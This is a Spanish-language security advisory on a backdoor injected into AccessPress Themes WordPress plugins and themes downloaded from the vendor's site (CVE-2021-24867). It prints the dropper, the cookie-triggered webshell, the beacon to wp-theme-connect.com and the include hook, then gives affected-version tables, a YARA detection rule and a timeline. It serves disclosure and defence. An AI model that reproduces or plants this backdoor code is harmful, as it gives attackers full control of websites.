Actualización del 1 de feb. – Se cambió la sección “temas afectados” para reflejar que están empezando a aparecer nuevas versiones de los temas.
Mientras investigábamos un sitio comprometido descubrimos algo de código sospechoso en un tema de AccessPress Themes (también conocido como Access Keys), un proveedor con una gran cantidad de temas y plugins populares. Tras seguir investigando, encontramos que todos los temas y la mayoría de los plugins del proveedor contenían este código sospechoso, pero solo si se descargaban desde su propio sitio web. Las mismas extensiones estaban limpias si se descargaban o instalaban directamente desde el directorio de WordPress.org.
Debido a la forma en que se comprometieron las extensiones, sospechamos que un atacante externo había vulnerado el sitio web de AccessPress Themes en un intento de usar sus extensiones para infectar más sitios.
Nos pusimos en contacto con el proveedor de inmediato, pero al principio no recibimos respuesta. Tras elevarlo al equipo de plugins de WordPress.org, nuestras sospechas quedaron confirmadas. Los sitios web de AccessPress Themes fueron vulnerados en la primera quincena de septiembre de 2021, y las extensiones disponibles para descarga en su sitio fueron inyectadas con una puerta trasera.
Una vez que establecimos un canal de comunicación con el proveedor, compartimos con ellos nuestros hallazgos detallados. Retiraron inmediatamente de su sitio web las extensiones afectadas.
Desde entonces, la mayoría de los plugins se han actualizado, y las versiones limpias conocidas se enumeran al final de esta entrada. Sin embargo, los temas afectados no se han actualizado y se han retirado del repositorio de temas de WordPress.org. Si tiene alguno de los temas enumerados al final de esta entrada instalado en su sitio, le recomendamos migrar a un tema nuevo lo antes posible.
Esta divulgación afecta a una gran cantidad de extensiones, tanto plugins como temas. Vaya directamente a la lista a continuación, o siga leyendo para conocer los detalles.
Detalles:
Proveedor: AccessPress Themes
URL del proveedor: https://accesspressthemes.com
Plugins: múltiples
Temas: múltiples
CVE: CVE-2021-24867
Análisis:
Las extensiones infectadas contenían un dropper para una webshell que da a los atacantes acceso total a los sitios infectados. El dropper se encuentra en el archivo inital.php ubicado en el directorio principal del plugin o tema. Al ejecutarse, instala una webshell basada en cookies en wp-includes/vars.php. La shell se instala como una función justo antes de la función wp_is_mobile() con el nombre de wp_is_mobile_fix(). Presumiblemente, esto es para no despertar sospechas en cualquiera que revise casualmente el archivo vars.php.
function makeInit() {
$b64 = 'ba' . 'se64' . '_dec' . 'ode';
$b = 'ZnVuY3Rpb2........TsKCg==';
$f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
if(file_exists($f)) {
$fp = 0777 & @fileperms($f);
$ft = @filemtime($f);
$fc = @file_get_contents($f);
if(strpos($fc, 'wp_is_mobile_fix') === false) {
$fc = str_replace('function wp_is_mobile()',
$b64($b) . 'function wp_is_mobile()',
$fc);
@file_put_contents($f, $fc);
@touch($f, $ft);
@chmod($f, $fp);
}
return true;
}
return false;
}
Una vez instalada la shell, el dropper se comunicará con su servidor cargando una imagen remota desde la URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg con la URL del sitio infectado y la información sobre qué tema utiliza como argumentos de consulta. Por último, eliminará el archivo fuente del dropper para evitar su detección una vez que la solicitud haya terminado de ejecutarse.
function finishInit() {
unlink(__FILE__);
}
add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {
function wp_notice_plug() {
echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
}
}
register_shutdown_function('finishInit');
La propia webshell se activa si la cadena del agente de usuario de la solicitud es wp_is_mobile y la solicitud contiene ocho cookies específicas. Reconstruye y ejecuta una carga útil a partir de estas cookies proporcionadas.
$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
$g = $_COOKIE;
(count($g) == 8 && $is_wp_mobile) ?
(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) &&
@$_iv()) : $g;
También hemos visto otra variante, presumiblemente más antigua, de la puerta trasera integrada directamente en el archivo functions.php del tema/plugin. Esta variante usa el mismo mecanismo de reconstruir la carga útil a partir de ocho cookies, pero no filtra según la cadena de agente de usuario de la solicitud.
Para asegurarnos de que se ejecute el dropper, el archivo principal del plugin (en el caso de los plugins) o el archivo functions.php (en el caso de los temas) han sido modificados con código para ejecutar el archivo inital.php si existe.
if(is_admin()) {
add_action( "init", 'apap_plugin_check' );
}
function apap_plugin_check(){
if(file_exists(__DIR__ . "/inital.php")){
include(__DIR__ . "/inital.php");
}
}
Un detalle llamativo de las marcas de tiempo de los plugins comprometidos es que todas son de principios de septiembre. La mayoría son del 6 y 7 de septiembre, con algunos archivos del 2 y 3 de septiembre. De forma similar, en los temas todos fueron comprometidos el 22 de septiembre, excepto accessbuddy, que lo fue el 9 de septiembre.
Además, las marcas de tiempo dentro de los archivos zip son muy uniformes, y casi todos los archivos tienen exactamente la misma marca de tiempo, salvo el archivo principal modificado del plugin y el archivo dropper agregado, que tienen una marca de tiempo de unos minutos más tarde (normalmente unos 2-5 minutos después de los demás archivos del zip).
Sin embargo, al observar las marcas de tiempo de los archivos zip descargados del repositorio wordpress.org, encontramos una distribución de marcas de tiempo que corresponde al momento en que realmente se actualizó el plugin/tema. Además, la distribución de marcas de tiempo dentro del archivo es menos uniforme y refleja qué archivos se actualizaron en la versión, y cuáles permanecen sin cambios respecto de una versión anterior.
Esto nos sugiere que los archivos del sitio web de AccessPress Themes fueron modificados intencionalmente, y como una acción coordinada después de su publicación original. La intrusión parece haberse realizado en dos fases, una para los plugins y otra posterior para los temas. Cada una con algunos intentos anteriores, posiblemente para ajustar el proceso.
Nuestra investigación solo ha revisado los temas y plugins disponibles gratuitamente en el sitio web de AccessPress Themes. Suponemos que sus temas Pro de pago están afectados de forma similar, pero no los hemos examinado. Si tiene alguno de estos, póngase en contacto con el soporte de AccessPress Themes para obtener más orientación.
Temas afectados
Si tiene instalado en su sitio cualquiera de los siguientes temas con un número de versión en la columna Mala, le recomendamos actualizar inmediatamente a la versión de la columna Limpia. Cabe señalar que los temas instalados a través de WordPress.org están limpios, incluso si figuran en la columna Mala. Aun así, recomendamos actualizar a la versión limpia conocida para ir sobre seguro.
Los temas que no tienen número de versión en la columna Limpia aún no se han actualizado, y recomendamos sustituirlo por otro tema si es posible.
| Slug del tema | Mala | Limpia |
|---|---|---|
| accessbuddy | 1.0.0 | |
| accesspress-basic | 3.2.1 | 3.2.2 |
| accesspress-lite | 2.92 | 2.93 |
| accesspress-mag | 2.6.5 | 2.6.6 |
| accesspress-parallax | 4.5 | 4.6 |
| accesspress-ray | 1.19.5 | |
| accesspress-root | 2.5 | 2.6.0 |
| accesspress-staple | 1.9.1 | |
| accesspress-store | 2.4.9 | 2.5.0 |
| agency-lite | 1.1.6 | 1.1.7 |
| aplite | 1.0.6 | |
| bingle | 1.0.4 | 1.0.5 |
| bloger | 1.2.6 | 1.2.7 |
| construction-lite | 1.2.5 | 1.2.6 |
| doko | 1.0.27 | 1.1.0 |
| enlighten | 1.3.5 | 1.3.6 |
| fashstore | 1.2.1 | |
| fotography | 2.4.0 | 2.4.1 |
| gaga-corp | 1.0.8 | |
| gaga-lite | 1.4.2 | |
| one-paze | 2.2.8 | |
| parallax-blog | 3.1.1574941215 | |
| parallaxsome | 1.3.6 | 1.3.7 |
| punte | 1.1.2 | 1.1.3 |
| revolve | 1.3.1 | |
| ripple | 1.2.0 | 1.2.1 |
| scrollme | 2.1.0 | |
| sportsmag | 1.2.1 | |
| storevilla | 1.4.1 | 1.4.2 |
| swing-lite | 1.1.9 | 1.2.0 |
| the-launcher | 1.3.2 | 1.3.3 |
| the-monday | 1.4.1 | |
| uncode-lite | 1.3.1 | |
| unicon-lite | 1.2.6 | 1.2.7 |
| vmag | 1.2.7 | 1.2.8 |
| vmagazine-lite | 1.3.5 | 1.3.7 |
| vmagazine-news | 1.0.5 | 1.0.6 |
| zigcy-baby | 1.0.6 | 1.0.7 |
| zigcy-cosmetics | 1.0.5 | 1.0.6 |
| zigcy-lite | 2.0.9 | 2.1.0 |
Plugins afectados
Si tiene instalado en su sitio alguno de los siguientes plugins con un número de versión en la columna Mala, le recomendamos actualizarlo de inmediato a la versión de la columna Limpia. Cabe señalar que los plugins instalados a través de WordPress.org están limpios, incluso si figuran en la columna Mala. Aun así, recomendamos actualizar a la versión limpia conocida para ir sobre seguro.
Los plugins sin número de versión en la columna Limpia aún no se han actualizado, y recomendamos sustituirlos por otros plugins siempre que sea posible.
| Slug del plugin | Comprometida | Limpia | Nota |
|---|---|---|---|
| accesspress-anonymous-post | 2.8.0 | 2.8.1 | 1 |
| accesspress-custom-css | 2.0.1 | 2.0.2 | |
| accesspress-custom-post-type | 1.0.8 | 1.0.9 | |
| accesspress-facebook-auto-post | 2.1.3 | 2.1.4 | |
| accesspress-instagram-feed | 4.0.3 | 4.0.4 | |
| accesspress-pinterest | 3.3.3 | 3.3.4 | |
| accesspress-social-counter | 1.9.1 | 1.9.2 | |
| accesspress-social-icons | 1.8.2 | 1.8.3 | |
| accesspress-social-login-lite | 3.4.7 | 3.4.8 | |
| accesspress-social-share | 4.5.5 | 4.5.6 | |
| accesspress-twitter-auto-post | 1.4.5 | 1.4.6 | |
| accesspress-twitter-feed | 1.6.7 | 1.6.8 | |
| ak-menu-icons-lite | 1.0.9 | ||
| ap-companion | 1.0.7 | 2 | |
| ap-contact-form | 1.0.6 | 1.0.7 | |
| ap-custom-testimonial | 1.4.6 | 1.4.7 | |
| ap-mega-menu | 3.0.5 | 3.0.6 | |
| ap-pricing-tables-lite | 1.1.2 | 1.1.3 | |
| apex-notification-bar-lite | 2.0.4 | 2.0.5 | |
| cf7-store-to-db-lite | 1.0.9 | 1.1.0 | |
| comments-disable-accesspress | 1.0.7 | 1.0.8 | |
| easy-side-tab-cta | 1.0.7 | 1.0.8 | |
| everest-admin-theme-lite | 1.0.7 | 1.0.8 | |
| everest-coming-soon-lite | 1.1.0 | 1.1.1 | |
| everest-comment-rating-lite | 2.0.4 | 2.0.5 | |
| everest-counter-lite | 2.0.7 | 2.0.8 | |
| everest-faq-manager-lite | 1.0.8 | 1.0.9 | |
| everest-gallery-lite | 1.0.8 | 1.0.9 | |
| everest-google-places-reviews-lite | 1.0.9 | 2.0.0 | |
| everest-review-lite | 1.0.7 | ||
| everest-tab-lite | 2.0.3 | 2.0.4 | |
| everest-timeline-lite | 1.1.1 | 1.1.2 | |
| inline-call-to-action-builder-lite | 1.1.0 | 1.1.1 | |
| product-slider-for-woocommerce-lite | 1.1.5 | 1.1.6 | |
| smart-logo-showcase-lite | 1.1.7 | 1.1.8 | |
| smart-scroll-posts | 2.0.8 | 2.0.9 | |
| smart-scroll-to-top-lite | 1.0.3 | 1.0.4 | |
| total-gdpr-compliance-lite | 1.0.4 | 1.0.5 | |
| total-team-lite | 1.1.1 | 1.1.2 | |
| ultimate-author-box-lite | 1.1.2 | 1.1.3 | |
| ultimate-form-builder-lite | 1.5.0 | 1.5.1 | |
| woo-badge-designer-lite | 1.1.0 | 1.1.1 | |
| wp-1-slider | 1.2.9 | 1.3.0 | |
| wp-blog-manager-lite | 1.1.0 | 1.1.2 | |
| wp-comment-designer-lite | 2.0.3 | 2.0.4 | |
| wp-cookie-user-info | 1.0.7 | 1.0.8 | |
| wp-facebook-review-showcase-lite | 1.0.9 | ||
| wp-fb-messenger-button-lite | 2.0.7 | ||
| wp-floating-menu | 1.4.4 | 1.4.5 | |
| wp-media-manager-lite | 1.1.2 | 1.1.3 | |
| wp-popup-banners | 1.2.3 | 1.2.4 | |
| wp-popup-lite | 1.0.8 | ||
| wp-product-gallery-lite | 1.1.1 | 1.1.3 |
Notas:
- Este plugin no se ha actualizado, pero se cree que está limpio, ya que la versión en el sitio web de AccessPress Themes era una versión anterior.
- Este plugin no se ha actualizado, pero se cree que está limpio, ya que originalmente no estaba disponible en el sitio web de AccessPress Themes.
IOCs
La siguiente regla YARA puede utilizarse para comprobar si el sitio ha sido infectado. Detectará tanto la parte dropper de la infección como el webshell instalado.
rule accesspress_backdoor_infection
{
strings:
// IoC's for the dropper
$inject0 = "$fc = str_replace('function wp_is_mobile()',"
$inject1 = "$b64($b) . 'function wp_is_mobile()',"
$inject2 = "$fc);"
$inject3 = "@file_put_contents($f, $fc);"
// IoC's for the dumped payload
$payload0 = "function wp_is_mobile_fix()"
$payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
$payload2 = "$g = $_COOKIE;"
$payload3 = "(count($g) == 8 && $is_wp_mobile) ?"
$url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/
condition:
all of ( $inject* )
or all of ( $payload* )
or $url0
}
Recomendaciones
Si tienes temas o plugins instalados directamente desde AccessPress Themes o desde cualquier otro lugar excepto WordPress.org, debes actualizar inmediatamente a una versión segura, tal como se indica en las tablas anteriores. Si no hay una versión segura disponible, sustitúyelo por la versión más reciente de WordPress.org.
Ten en cuenta que esto no elimina la puerta trasera de tu sistema, por lo que además debes reinstalar una versión limpia de WordPress para revertir las modificaciones de los archivos principales realizadas durante la instalación de la puerta trasera.
Si tienes un tema o plugin de pago de AccessPress Themes/Access Keys, te recomendamos contactar con su soporte para obtener ayuda.
Te recomendamos encarecidamente que tengas un plan de seguridad para tu sitio que incluya análisis de malware y copias de seguridad. Jetpack Security es una excelente opción de seguridad de WordPress para garantizar que tu sitio y tus visitantes estén a salvo. Jetpack Scan ha detectado todas las variantes de esta puerta trasera y del dropper desde el 30 de septiembre.
Cronología
2021-09-22: El equipo de Jetpack Scan descubre el dropper y la puerta trasera en el tema FotoGraphy, e intenta ponerse en contacto con el proveedor sobre el hallazgo inicial.
2021-09-27: Se confirma la presencia del dropper + puerta trasera en todos los plugins y temas gratuitos actuales descargados desde el sitio web del proveedor.
2021-09-28: Se confirma que el dropper + la puerta trasera no están presentes en las descargas de WordPress.org
2021-09-29: Se intenta volver a contactar con el proveedor, con actualizaciones sobre los nuevos hallazgos.
2021-10-14: Se escala al equipo de plugins de WordPress para intentar obtener contacto con el proveedor.
2021-10-15: Las extensiones comprometidas se eliminan del sitio del proveedor.
2021-10-16: Respuesta del proveedor
2022-01-17: La mayoría de los plugins se han actualizado a nuevas versiones; los temas se han retirado de WordPress.org.
2022-01-18 Divulgación pública



